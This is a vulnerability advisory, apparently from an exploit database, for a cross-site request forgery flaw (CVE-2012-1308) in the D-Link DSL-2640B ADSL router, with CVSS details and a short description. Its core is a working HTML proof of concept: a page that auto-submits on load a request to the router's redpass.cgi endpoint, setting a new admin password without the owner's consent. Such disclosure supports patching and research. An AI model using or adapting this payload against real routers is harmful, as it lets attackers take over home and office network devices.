D-Link DSL-2640B Cross Site Request Forgery

2012-02-21 / 2012-10-10

Credit: Ivano Binetti

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2012-1308

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : D-Link DSL-2640B (ADSL Router) CSRF Vulnerability
# Date          : 19-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Vendor site   : http://www.d-link.com
# Version       : DSL-2640B
# Tested on     : Firmware Version: EU_4.00; Hardware Version: B2
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------------------+
Summary
1)Introduction
2)Vulnerability Description
3)Exploit
+---------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
D-Link DSL-2640B is an ADSL Router using (also) a web management interface.
2)Vulnerability Description
The D-Link DSL-2640B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router
parameters and -among other things- to change default administrator("admin") password.
3)Exploit
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change ADMIN password</H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/redpass.cgi?sysPassword=new_password&change=1">
</form>
</body>
</html>
+----------------------------------------------------------------------------------------------------------------------------------+

References:

http://ivanobinetti.com

See this note in RAW Version

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D-Link DSL-2640B Cross Site Request Forgery

References:

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